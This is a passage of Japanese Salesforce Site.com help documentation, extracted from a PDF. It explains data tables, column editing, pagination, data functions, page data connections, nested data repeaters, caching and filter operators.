Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

標準またはカスタム Salesforce オブジェクトに接続し、指定した検索条件に基づ
いてデータセットを取得したり、1 つ以上のレコードをテーブルの行として表示
するには、データテーブルを使用します。データテーブルの列は、データテー
ブルの接続先のオブジェクトの項目をバインドしています。各列のセルは、ペー
ジが読み込まれたときに、項目のデータに置き換えられるプレースホルダとし
て機能します。
ページにデータテーブルを追加する手順は、次のとおりです。
1. [ページ要素] ペインからページに [データテーブル] をドラッグします。
2. 接続先であるブジェクトを選択します。

メモ:

• サイト訪問者はゲストユーザライセンスを使用して公開サイトにア
クセスするので、Site.comユーザのドロップダウンリストにはゲスト
ユーザが使用できるオブジェクトのみが表示されます。他のオブジェ
クトを利用できるようにするには、「Salesforce オブジェクトのデー
タアクセス権限の設定」に移動して、関連するオブジェクトの「参
照」権限を有効化し、リストを更新します。

• コミュニティユーザのドロップダウンリストには、サイト訪問者に
は表示されないオブジェクトが表示される可能性があります。認証
された訪問者の場合、公開ページおよび非公開ページのオブジェク
トアクセスは、各自のユーザプロファイルで制御されます。認証さ
れていない訪問者の場合、公開ページのオブジェクトアクセスは、
サイトのゲストユーザプロファイルで制御されます。

3. 必要に応じて、[条件] でデータセットを絞り込む条件を選択します。どの条
件も選択しない場合、項目のすべてのデータが返されます。
a. 検索条件が適用される項目を選択します。[項目] ドロップダウンリストで

は、オブジェクトの項目に続けて、すべての親オブジェクトの項目が
parent_object_name.field_name 形式で表示されます。

b. 結果を絞り込む方法を制御する演算子を選択します。たとえば、完全一
致を返すには、[次の文字列と一致する] を選択します。

c. 検索条件の値のソースを選択します。たとえば、明示的な値を指定する
ために [固定値] を選択したり、クエリ文字列に渡される値を使用して
[URL クエリ文字列] を選択したりします。

d. 検索条件の値を設定します。クエリ文字列を使用している場合、クエリ
文字列を指定しないときにどのような処理を実行する必要があるかも指
定できます。

e. 必要に応じて、検索結果をさらに絞り込む検索条件を追加します。各条
件設定項目は AND 演算子を使用して併用できます。
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メモ: 結果を絞り込むために固定値を使用している場合、[接続プレビュー] セクションで戻されたレ
コードを参照できます。レコードのリストを更新するには、[プレビューを再読み込み] をクリックし
ます。

4. 並び替えでは、1 つ以上の項目で結果を昇順または降順のどちらで並び替えるかを指定できます。たとえ
ば、ユーザデータを含むオブジェクトを使用している場合は、まず性別、次に名前で結果を並び替えるこ
とができます。

5. [制限] では、返される結果の数を制限できます。たとえば、上位 5 件の結果のみに関心がある場合は、[結
果数を制限] 項目に「5」と入力します。

6. ページネーションを追加する場合は、[ページあたりの結果数] 項目にページあたりに表示する結果数を指
定します。

7. [次へ] をクリックします。
8. 利用可能な項目をテーブルに追加するには、項目をダブルクリックするか、または選択して をクリッ

クします。
9. [上に移動] または [下に移動] をクリックして、選択された項目のリストの順序を並び替えます。
10. [保存] をクリックします。

メモ: データテーブルにはページ要素を追加できません。ただし、データテーブルを選択して [編集]をク
リックすると、列を追加することができます。[項目の選択] 画面で、追加項目を選択して変更内容を保存
します。

ページにデータテーブルを追加した後、[プロパティ] ペインを使用して次の操作を実行できます。
• [キャプション] 項目にテーブルの目的の短いヘッダーまたは要約を指定する。キャプションはテーブルの

上に表示され、スクリーンリーダーユーザには W3C アクセシビリティ基準に準じます。
• [テーブル] セクションの [列ヘッダーを表示] の選択を解除して列ヘッダーを非表示にする。
• [テーマ] セクションで jQuery Flexigrid テーマを選択して、[並び替えを有効化] を選択することにより、列を

並び替え可能にする。また、テーマによりテーブルの外観を変更することもできます。
• 列のセルを選択して、[データテーブル] セクションの [列ヘッダー] プロパティの名前を更新することによ

り、列の名前を変更する。

関連トピック:

データテーブルの列を編集する
デフォルトビュー、エラービュー、およびデータ無しビュー
キャッシュを使用したパフォーマンスの改善
データ検索条件の例
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データテーブルの列を編集する

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

データテーブルの列は、データテーブルの接続先のオブジェクトの項目をバイ
ンドしています。各列のセルは、ページが読み込まれたときに、項目のデータ
に置き換えられるプレースホルダとして機能します。
列のセルにはプレーンテキスト、書式設定済みテキスト (日付および数字)、また
は画像を表示できます。また、列のセルにハイパーリンクを追加すると、サイ
ト訪問者が詳細説明などの他のページに移動したり、サイト訪問者の選択に基
づいてデータテーブルに表示するデータを更新したりできます。「データ検索
条件の例」 (ページ 6143)を参照してください。
列を編集する手順は、次のとおりです。
1. データテーブルの列のセルをダブルクリックします。
2. 表示する項目を選択します。項目のデータの表示方法をカスタマイズするに

は、[カスタマイズ] をクリックします。

メモ: リストの最初に表示されるオブジェクトの項目に続けて、すべて
の親オブジェクトの項目が parent_object_name.field_name形式で
表示されます。

3. 表示の種類を選択します。

説明オプション

項目のデータをプレーンテキストと
して表示できます。

テキスト

日付、時間、通貨を使用している場
合は、複数のテキスト表示形式から
選択できます。

書式設定済みテキスト

項目に画像 URL が含まれる場合は、
項目のデータを画像として表示でき

画像

ます。URL は絶対またはサイトに対す
る相対のどちらでも使用できます。
代替テキストとして使用する項目を
選択したり、カスタムテキストを入
力することもできます。

4. ハイパーリンクを作成するには、[ハイパーリンクを追加] をクリックします。作成しない場合、ステップ
8 に進みます。

5. リンクの種類を選択します。
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説明オプション

次の方法で、Web ページにリンクできます。URL

• サイトにアップロードした PDF の相対 URL を保存
する項目など、参照する項目を選択する。

• 参照する項目を選択して、[カスタマイズ] をク
リックして絶対 URL を追加するか、URL クエリ文
字列などのカスタムリンクを作成する。

データ型と項目を選択して、サイト内のページ、画
像、またはファイルにリンクできます。(項目リスト

サイトの項目

が表示されない場合は、URL項目にカーソルを置い
てキーボードの Down キーを押します)。
たとえば、URL クエリ文字列を作成して、URLをカス
タマイズすることもできます。

受信者のアドレスおよびメッセージの件名と本文と
入力して、メールメッセージにリンクできます。
差し込み項目を使用して、オブジェクトの項目にア
クセスできます。たとえば、オブジェクトに [メー

メール

ル]項目がある場合、[メールアドレス] テキストボッ
クスに {!email} などの差し込み項目を入力しま
す。
リンクがクリックされると、ユーザのメールクライ
アントで、[宛先:] 項目に適切なメールアドレスが追
加された新規メッセージウィンドウが開きます。

6. 必要に応じて、必要な項目を選択してツールチップを入力するか [カスタマイズ] をクリックしてカスタム
テキストを追加します。
リンクにマウスポインタを置くと、ポップアップとしてツールチップが表示されます。

7. URL またはサイト内の項目にリンクしている場合、項目を開く場所を指定します。

説明オプション

ポップアップウィンドウに項目を読み込みます。こ
のオプションを選択すると、ポップアップのタイト

ポップアップウィンドウ

ルを設定し、表示されるオプションを使用して外観
およびサイズを制御できます。

名前のないブラウザウィンドウに項目を読み込みま
す。

新規ウィンドウ (_blank)
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説明オプション

同じフレームまたはウィンドウのリンクとして項目
を読み込みます。これは、デフォルト設定です。

同じウィンドウ (_self)

最上位の親フレームセットまたはリンクを含むフ
レームのウィンドウに項目を読み込みます。

最上位ウィンドウ (_top)

親フレームセットまたはリンクを含むフレームの
ウィンドウに項目を読み込みます。

親ウィンドウ (_parent)

8. [保存] をクリックします。
列が、式としてページに表示されます。出力をテストするには、ページをプレビューします。
列の名前を変更するには、列セルを選択して、[プロパティ] ペインの [列ヘッダー]項目で名前を更新します。

関連トピック:

データテーブルによるデータの動的取得
Site.com データサービスの概要
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データの繰り返しとデータテーブルへのページネーションの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

イベントを使用すると、Web サイトのページおよびページ要素に対話形式の効
果およびアニメーション効果を追加できます。データの繰り返しおよびデータ
テーブルを使用している場合、ページネーションイベントを追加して、ユーザ
が表示されているデータのページに容易にアクセスできるようにすることがで
きます。これは、大量のデータを使用している場合に特に役立ちます。
たとえば、組織のすべてのユーザを表示するデータの繰り返しを追加した場合、
ページネーションを追加するとデータの移動に役立ちます。次の 3 つのページ
ネーションイベントを追加できます。
• 前のページ
• 次のページ
• ページに移動

「前へ」ページネーションおよび「次へ」ページネーションの作成
[前へ] ボタンおよび [次へ] ボタンを作成すると、1 ページずつデータを移動でき
ます。両方のボタンを作成するプロセスは同じです。
1. データの繰り返しまたはデータテーブルを作成します。
2. データの繰り返しまたはデータテーブルで、[制限] セクションで 1 ページあ

たりに表示するレコード件数を必ず指定します。
3. ページにボタンをドラッグします。
4. [プロパティ] ペインで、必要に応じて、[ボタン名] を [前のページ] または [次

のページ] に変更します。
5. [イベント] ペインで、クリックイベントを選択します。
6.

[アクション] ボックスが表示されたら、 をクリックして、[前のページ] ま
たは [次のページ] アクションを選択します。

7. [対象要素] で、データの繰り返しまたはデータテーブルを選択します。
8. [保存] をクリックします。

「移動」ページネーションの作成
「移動」ナビゲーションの作成は、前のページボタンおよび次のページボタンの作成と似ていますが、ユーザ
が移動先のページを指定できるように入力項目を追加する必要があります。
1. データの繰り返しまたはデータテーブルを作成します。
2. データの繰り返しまたはデータテーブルで、[制限] セクションで 1 ページあたりに表示するレコード件数を

必ず指定します。
3. ページに [数] 項目をドラッグします。
4. [プロパティ] ペインで、項目の [表示ラベル名] をわかりやすい名前に変更します。たとえば、「ページ番号

を入力」などです。
5. ページに [ボタン] をドラッグします。
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6. [プロパティ] ペインで、[ボタン名] を [ページに移動] に変更します。
7. [イベント] ペインで、クリックイベントを選択します。
8.

[アクション] ボックスが表示されたら、 をクリックして、[ページに移動] アクションを選択します。
9. [対象要素] で、データの繰り返しまたはデータテーブルを選択します。
10. 入力項目 ID で、ステップ 3 で作成した項目を選択します。
11. [保存] をクリックします。

関連トピック:

データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
イベントの作成
選択可能なイベントとアクション
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データ関数の使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

データ関数では、標準またはカスタム Salesforce オブジェクトへの接続、返され
た結果の計算、ページへの計算の表示を行います。たとえば、オブジェクトの
特定の項目について、データ関数を使用して、すべての返されたレコードの合
計値または平均値を算出できます。
データ関数をページに追加する手順は、次のとおりです。
1. [ページ要素] ペインからページに [データの機能] をドラッグします。
2. 接続先であるブジェクトを選択します。

メモ:

• サイト訪問者はゲストユーザライセンスを使用して公開サイトにア
クセスするので、Site.comユーザのドロップダウンリストにはゲスト
ユーザが使用できるオブジェクトのみが表示されます。他のオブジェ
クトを利用できるようにするには、「Salesforce オブジェクトのデー
タアクセス権限の設定」に移動して、関連するオブジェクトの「参
照」権限を有効化し、リストを更新します。

• コミュニティユーザのドロップダウンリストには、サイト訪問者に
は表示されないオブジェクトが表示される可能性があります。認証
された訪問者の場合、公開ページおよび非公開ページのオブジェク
トアクセスは、各自のユーザプロファイルで制御されます。認証さ
れていない訪問者の場合、公開ページのオブジェクトアクセスは、
サイトのゲストユーザプロファイルで制御されます。

3. 必要に応じて、[条件] でデータセットを絞り込む条件を選択します。どの条
件も選択しない場合、項目のすべてのデータが返されます。
a. 検索条件が適用される項目を選択します。[項目] ドロップダウンリストで

は、オブジェクトの項目に続けて、すべての親オブジェクトの項目が
parent_object_name.field_name 形式で表示されます。

b. 結果を絞り込む方法を制御する演算子を選択します。たとえば、完全一
致を返すには、[次の文字列と一致する] を選択します。

c. 検索条件の値のソースを選択します。たとえば、明示的な値を指定する
ために [固定値] を選択したり、クエリ文字列に渡される値を使用して
[URL クエリ文字列] を選択したりします。

d. 検索条件の値を設定します。クエリ文字列を使用している場合、クエリ
文字列を指定しないときにどのような処理を実行する必要があるかも指
定できます。

e. 必要に応じて、検索結果をさらに絞り込む検索条件を追加します。各条
件設定項目は AND 演算子を使用して併用できます。

メモ: 結果を絞り込むために固定値を使用している場合、[接続プレビュー]

セクションで戻されたレコードを参照できます。レコードのリストを更
新するには、[プレビューを再読み込み] をクリックします。

6131

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



4. [関数] で、次の関数を選択します。

説明オプション

選択した項目の値を含むレコード件数をカウントす
る。たとえば、オブジェクトに 30 件のレコードが含

件数

まれており、25 件のレコードのみに指定した項目の
値が含まれる場合は、結果は 25 になります。

選択した項目のすべての値の中の最大値を返しま
す。数字、文字列、日付に適用されます。

最大

選択した項目のすべてのレコードの平均値を計算し
ます。たとえば、20 件のレコードがあり、[価格] 項

平均

目の合計値が 20,000 ドルの場合、平均は 1,000 ドルで
す。数値を含む項目のみに適用可能です。

選択した項目のすべての値の中の最小値を返しま
す。数字、文字列、日付に適用されます。

最小

選択した項目のすべてのレコードの合計値を計算し
ます。

合計

5. 適用先の項目を選択します。
6. [保存] をクリックします。

関連トピック:

デフォルトビュー、エラービュー、およびデータ無しビュー
キャッシュを使用したパフォーマンスの改善
データ検索条件の例

ページデータ接続の概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ページデータ接続を使用すると、サイト管理者およびデザイナは、Salesforce オ
ブジェクトを使用しているときに単一レコードの詳細ページを容易に作成でき
るようになります。
繰り返し要素、カスタムコード、またはコンテンツブロックと組み合わせてペー
ジデータ接続を使用すると、標準オブジェクトおよびカスタムオブジェクトと
の接続、特定のレコードの取得、サイトページでのレコードの動的な表示が可
能になります。
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例: たとえば、[取引先] というサイトページで会社のすべての取引先のリストが必要であるとします。ユー
ザが [詳細を参照]リンクをクリックすると、[取引先詳細] というサイトページを開き、選択した取引先の
情報を表示できるようにする必要があります。
この場合、データの繰り返しを [取引先] サイトページに追加し、取引先オブジェクトからレコードのリス
ト (1) を取得します。データ要素を使用して、[詳細を参照] リンク (2) を作成できます。このリンクがク
リックされるときに、URL クエリ文字列を使用して、一意の識別子として [取引先詳細] ページに [取引先
ID]項目を渡します。[取引先詳細] ページの読み込み時に、ページデータ接続によって一意の識別子の値
が使用されて、そのレコードの詳細 (3) のみが動的に返されます。

ページデータ接続では、式を使用して、ページのプロパティを含むページの任意の場所で返されるデー
タにアクセスできます。たとえば、取引先詳細ページのタイトルとして取引先名を使用するとします。
この場合、[プロパティ] ペインの [タイトル]項目に {!Name}を入力するだけです。ページの読み込み時
に、特定のレコードの取引先名が取得されて、ブラウザのタイトルバーに表示されます。

関連トピック:

ページデータ接続によるデータの取得
Site.com データサービスの概要
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ページデータ接続によるデータの取得

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

Salesforce オブジェクトを操作する場合、単一レコードの詳細ページを作成する
には、ページデータ接続を使用します。
データ要素、カスタムコード、またはコンテンツブロックと組み合わせてペー
ジデータ接続を使用すると、標準オブジェクトおよびカスタムオブジェクトに
接続し、特定のレコードを取得して、返されたデータをページ上の任意の場所
に動的に表示できます。式を使用してページのプロパティで返されたデータに
アクセスすることもできます。
ページを開いた状態で、次の手順を実行します。
1. [ページ構造] ペインでページが選択されていることを確認します。
2. [プロパティ] ペインの [ページデータ接続] セクションで [接続を追加]をクリッ

クします。
3. 接続先であるブジェクトを選択します。

メモ:

• サイト訪問者はゲストユーザライセンスを使用して公開サイトにア
クセスするので、Site.comユーザのドロップダウンリストにはゲスト
ユーザが使用できるオブジェクトのみが表示されます。他のオブジェ
クトを利用できるようにするには、「Salesforce オブジェクトのデー
タアクセス権限の設定」に移動して、関連するオブジェクトの「参
照」権限を有効化し、リストを更新します。

• コミュニティユーザのドロップダウンリストには、サイト訪問者に
は表示されないオブジェクトが表示される可能性があります。認証
された訪問者の場合、公開ページおよび非公開ページのオブジェク
トアクセスは、各自のユーザプロファイルで制御されます。認証さ
れていない訪問者の場合、公開ページのオブジェクトアクセスは、
サイトのゲストユーザプロファイルで制御されます。

4. 必要に応じて、[条件] で返されるレコードを絞り込む条件を選択します。ど
の条件も選択しない場合、デフォルトで最初のレコードが返されます。
a. 検索条件が適用される項目を選択します。[項目] ドロップダウンリストで

は、オブジェクトの項目に続けて、すべての親オブジェクトの項目が
parent_object_name.field_name 形式で表示されます。

b. 結果を絞り込む方法を制御する演算子を選択します。たとえば、完全一
致を返すには、[次の文字列と一致する] を選択します。

c. 検索条件の値のソースを選択します。たとえば、明示的な値を指定する
ために [固定値] を選択したり、クエリ文字列に渡される値を使用して
[URL クエリ文字列] を選択したりします。

d. 検索条件の値を設定します。クエリ文字列を使用している場合、クエリ
文字列を指定しないときにどのような処理を実行する必要があるかも指
定できます。
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e. 必要に応じて、検索結果をさらに絞り込む検索条件を追加します。各条件設定項目は AND 演算子を使用
して併用できます。

メモ: 結果を絞り込むために固定値を使用している場合、[接続プレビュー] セクションで戻されたレ
コードを参照できます。レコードのリストを更新するには、[プレビューを再読み込み] をクリックし
ます。

5. 並び替えでは、1 つ以上の項目で結果を昇順または降順のどちらで並び替えるかを指定できます。
たとえば、最も人気のある映画を表示するページを作成するとします。映画データが含まれるカスタムオ
ブジェクトに接続し、検索条件を使用する代わりに、ユーザ評価の降順に並び替えることができます。ペー
ジデータ接続で返されるレコードは 1 つであるため、最も評価の高いレコードのみが返されます。

6. [保存] をクリックします
次に、取得したレコードデータを表示するには、ページにデータ要素、カスタムコード、またはコンテンツブ
ロックを追加する必要があります。
式を使用して、ページのプロパティを含むページの任意の場所で返されるデータにアクセスできます。たとえ
ば、取引先詳細ページのタイトルとして取引先名を使用するとします。この場合、[プロパティ] ペインの [タ
イトル] 項目に {!Name} を入力するだけです。ページの読み込み時に、特定のレコードの取引先名が取得さ
れて、ブラウザのタイトルバーに表示されます。

関連トピック:

ページデータ接続の概要
キャッシュを使用したパフォーマンスの改善
式を使用した動的データの表示について
データ検索条件の例

関連オブジェクトでのデータアクセスの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

標準およびカスタムオブジェクトは、あるオブジェクトのレコードを他のオブ
ジェクトのレコードにどのように関連付けるかを定義するリレーションを含み
ます。例を挙げると、取引先オブジェクトには取引先責任者オブジェクトに対
して 1 対多のリレーションが設定されています。つまり、各取引先には取引先
に関連付けられている 1 つ以上の取引先責任者を持つことができます。このリ
レーションは、親-子リレーションまたは主従関係として知られています。
Salesforce のオブジェクト間のリレーションの詳細については、「オブジェクト
リレーションの概要」を参照してください。
データの繰り返し、データテーブル、データ関数でこのようなリレーションを
活用すると、関連オブジェクトのデータをページに表示することができます。

親オブジェクトでのデータへのアクセスについて
データの繰り返し、データテーブルまたはデータ関数をページに追加し、そのページを標準またはカスタムオ
ブジェクトに接続すると、関連先の親オブジェクトの項目に自動的にアクセスできます。
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データの繰り返し、データテーブル、またはデータ関数に検索条件を追加すると、[データ接続を作成] ダイア
ログボックスの [項目] リストにオブジェクトの項目に続いて、parent_object_name.field_nameという形
式を使用してその親オブジェクトのすべての項目が表示されます。この機能により、親オブジェクトの項目で
結果を絞り込むことができます。そのため、たとえば、取引先責任者オブジェクトからレコードを取得すると
き、取引先名 ([Account.Account 名]) が「ABC Labs」である取引先責任者のみを返すようにすることができ
ます。
同様に、データ要素をデータの繰り返しに追加するか、列をデータテーブルに追加すると、親オブジェクトの
項目にそれらの繰り返し要素または列にバインドできます。たとえば、取引先責任者オブジェクトに接続され
ているデータテーブルを追加すると、[氏名] 項目にバインドする列と、取引先オブジェクトの
[Account.Account 名] 項目にバインドする列を追加して、取引先責任者の名前とそれが関連付けられる取
引先名を一緒に表示できます。

子オブジェクトでのデータへのアクセスについて
データの繰り返し、データテーブル、またはデータ関数を含むデータの繰り返しを使って、親オブジェクトの
子オブジェクトからデータを取得できます。外部のデータの繰り返しまたは親のデータの繰り返しは取引先な
どのオブジェクトに接続しています。つまり、内部のデータの繰り返し、データテーブル、またはデータ関数
を使用すると、取引先責任者などの子オブジェクトに自動的に接続できます。これは、ネストされたデータの
繰り返しとも呼ばれます。
たとえば、この例と同じように関連付けられている取引先責任者の名前を含む取引先のリストを表示するとし
ます。

このためには、取引先に接続されているデータの繰り返し (1) を作成して、[取引先名] 項目にバインドされて
いるデータ要素 (2) をそれに追加します。次に、取引先の子である取引先責任者に接続されている、ネストさ
れているデータの繰り返し (3) を追加します。最後に、取引先責任者オブジェクトの [氏名]項目にバインドす
るネストされているデータの繰り返しに、データ要素 (4) を追加します。
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関連トピック:

ネストされたデータの繰り返しを使用した関連オブジェクトのデータの表示
データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
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ネストされたデータの繰り返しを使用した関連オブジェクトのデータの表示

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ゲストユーザプロファイ
ルを編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化
AND

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

および

「プロファイルと権限
セットの管理」

および

「アプリケーションの
カスタマイズ」

データの繰り返し、データテーブル、またはデータ関数を含むデータの繰り返
しを使って、親オブジェクトの子オブジェクトからデータを取得できます。外
部のデータの繰り返しまたは親のデータの繰り返しは取引先などのオブジェク
トに接続しています。つまり、内部のデータの繰り返し、データテーブル、ま
たはデータ関数を使用すると、取引先責任者などの子オブジェクトに自動的に
接続できます。これは、ネストされたデータの繰り返しとも呼ばれます。
たとえば、データの繰り返しが取引先に接続されている場合、ネストされたデー
タ関数を取引先責任者に接続されている取引先に追加すると、各取引先に関連
付けられている取引先責任者数を返すことができます。
ネストされているデータの繰り返しを作成する手順は、次のとおりです。
1. ページにデータの繰り返しを追加します。
2. [ページ要素] ペインからデータの繰り返しに他の [データの繰り返し]、[デー

タテーブル]、または [データの機能] をドラッグします。
3. 接続先である関連する Salesforce オブジェクトを選択します。

メモ: また、関連しないオブジェクトからもデータを取得できます。た
だし、関連しないオブジェクトからデータを取得すると、サイトのパ
フォーマンスにマイナスの影響がある可能性があるため、関連オブジェ
クトからのみデータを取得するようお勧めします。

4. 必要に応じて、[条件] でデータセットを絞り込む条件を選択します。どの条
件も選択しない場合、項目のすべてのデータが返されます。
a. 検索条件が適用される項目を選択します。[項目] ドロップダウンリストで

は、オブジェクトの項目に続けて、すべての親オブジェクトの項目が
parent_object_name.field_name 形式で表示されます。

b. 結果を絞り込む方法を制御する演算子を選択します。たとえば、完全一
致を返すには、[次の文字列と一致する] を選択します。

c. 検索条件の値のソースを選択します。たとえば、明示的な値を指定する
ために [固定値] を選択したり、クエリ文字列に渡される値を使用して
[URL クエリ文字列] を選択したりします。

d. 検索条件の値を設定します。クエリ文字列を使用している場合、クエリ
文字列を指定しないときにどのような処理を実行する必要があるかも指
定できます。

e. 必要に応じて、検索結果をさらに絞り込む検索条件を追加します。各条
件設定項目は AND 演算子を使用して併用できます。

メモ: 結果を絞り込むために固定値を使用している場合、[接続プレビュー]

セクションで戻されたレコードを参照できます。レコードのリストを更
新するには、[プレビューを再読み込み] をクリックします。
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5. 並び替えでは、1 つ以上の項目で結果を昇順または降順のどちらで並び替えるかを指定できます。たとえ
ば、ユーザデータを含むオブジェクトを使用している場合は、まず性別、次に名前で結果を並び替えるこ
とができます。

6. [制限] では、返される結果の数を制限できます。たとえば、上位 5 件の結果のみに関心がある場合は、[結
果数を制限] 項目に「5」と入力します。

7. ページネーションを追加する場合は、[ページあたりの結果数] 項目にページあたりに表示する結果数を指
定します。

8. データテーブルを使用している場合、[次へ] をクリックし、項目をダブルクリックするか、または選択し
て をクリックしてテーブルに項目を追加します。

9. [保存] をクリックします。
データ要素またはカスタムコードのいずれかを親の繰り返しに追加することで、データを表示できます。同様
に、親のデータの繰り返し内でデータの繰り返しがネストされている場合は、ネストされているデータの繰り
返しにデータ要素またはカスタムコードを追加して、子オブジェクトの項目を表示できます。

メモ:  2 レベル以上の深さでデータの繰り返しをネストすることはできません。

関連トピック:

関連オブジェクトでのデータアクセスの概要
データテーブルによるデータの動的取得
データ関数の使用

キャッシュを使用したパフォーマンスの改善

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

データの繰り返し、データテーブル、およびデータ関数などのデータバインド
ページ要素を使用している場合、キャッシュを使用してパフォーマンスおよび
ページ表示を改善することができます。キャッシュは、データ接続を含むペー
ジが Salesforce からデータを要求する頻度を制御します。
100 名のユーザが同時にサイトページを訪問したとします。キャッシュを使用し
ない場合、同じページに対する 100 件の要求により、ページのパフォーマンスが
大幅に低下します。ただし、キャッシュが有効になっている場合は、データの
要求と取得が一度のみ (そのページに最初に訪問したユーザの要求に対してのみ)

で済みます。設定された期間内のデータに対するその後の要求はすべてキャッ
シュから返されます。指定期間が過ぎると、キャッシュが更新されます。
[プロパティ] タブの [キャッシュ期間 (分)] 項目では、選択したデータの繰り
返し、データテーブル、またはデータ関数の取得データをキャッシュする時間
の長さを制御します。
デフォルト値は 30 分です。ただし、適切な分数は要件によって異なります。次に例を示します。
• コメント書き込みシステム、株価表示機など、データが頻繁に更新される場合は、この値をゼロに設定し

てキャッシュを無効にし、ページに最新のデータが表示されるようにすることができます。
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• 週に一度などデータの変更が頻繁でない場合は、この値をはるかに大きい分数に設定することができます。
また、キャッシュ期間を長く設定すると、データソースが一時的に利用できなくなった場合でもページで
データを表示できます。

メモ: サイトへの更新が公開されるたびに、すべてのデータ接続でキャッシュが削除されます。サイトの
訪問者が次回にアクセスすると、キャッシュが再開されます。

関連トピック:

データの繰り返しによるデータの動的取得
データテーブルによるデータの動的取得
データ関数の使用

データ検索条件

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

データの繰り返し、データテーブル、またはデータ関数をページに追加すると
きは、そのページが取得するレコードを制限する必要はありません。ただし、
大量のレコードのある Salesforce オブジェクトを使用している場合は、検索条件
を使用して返される結果を制限できます。
検索条件を追加する場合は、次を指定する必要があります。
• 検索条件が適用される項目
• 演算子
• 検索条件の値のソース
• 検索条件の値

検索条件の演算子

説明演算子

完全一致を返します。次の文字列と一致す
る

指定した値を含まないレコードを返します。次の文字列と一致し
ない

指定した値未満のレコードを返します。＜

指定した値を上回るレコードを返します。＞

指定した値以下のレコードを返します。＜＝

指定した値以上のレコードを返します。＞＝

値の先頭の文字列がわかっていて、完全な文字列がわからない場合に使用します。た
とえば、「カリフォルニア」と入力すると、カリフォルニア旅行は返されますが、
サーフカリフォルニアは返されません。

次の文字列で始まる

値の末尾の文字列がわかっていて、完全な文字列がわからない場合に使用します。次の文字列で終わる
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説明演算子

入力した検索文字列を含み、さらに他の情報を含んでいる場合もあるレコードを返し
ます。たとえば、「カリフォルニア」と入力すると、カリフォルニア旅行およびサー
フカリフォルニアが返されます。

次の文字列を含む

指定した 1 つ以上のカンマ区切り値を含むレコードを返す、複数の値をサポートする
データ型に使用します。

次の値を含む

指定したすべてのカンマ区切り値を含むレコードを返す、複数の値をサポートする
データ型に使用します。

すべてを含む

指定した 1 つ以上のカンマ区切り値を含まないレコードを返す、複数の値をサポート
するデータ型に使用します。たとえば、場所カテゴリ項目「サンフランシスコ、バン

次の値を含まない

クーバー」は、「サンフランシスコ、ダラス」を含むレコードおよび「バンクーバー、
ニューヨーク」を含むレコードを除外します。

指定したすべてのカンマ区切り値を含まないレコードを返す、複数の値をサポートす
るデータ型に使用します。たとえば、場所カテゴリ項目「サンフランシスコ、バン
クーバー」は、両方の語句を含むレコードのみを除外します。

すべてを含まない

検索条件の値のソース

説明ソース

値を指定する場合に使用します。固定値

ページの読み込み時に URL を使用して変数コンテンツを項目に渡す場合に使
用します。

URL クエリ文字列

現在の日付または現在の時刻など、サイトの固定値を使用する場合に使用し
ます。

グローバルプロパティ

ホストヘッダーまたはブラウザのバージョンなど、ブラウザの値を使用する
場合に使用します。

要求ヘッダー

関連のないオブジェクト間でクエリを作成する場合に使用します。データの
繰り返し、データテーブルまたはデータ関数が親の繰り返し内でネストされ

参照先の繰り返し

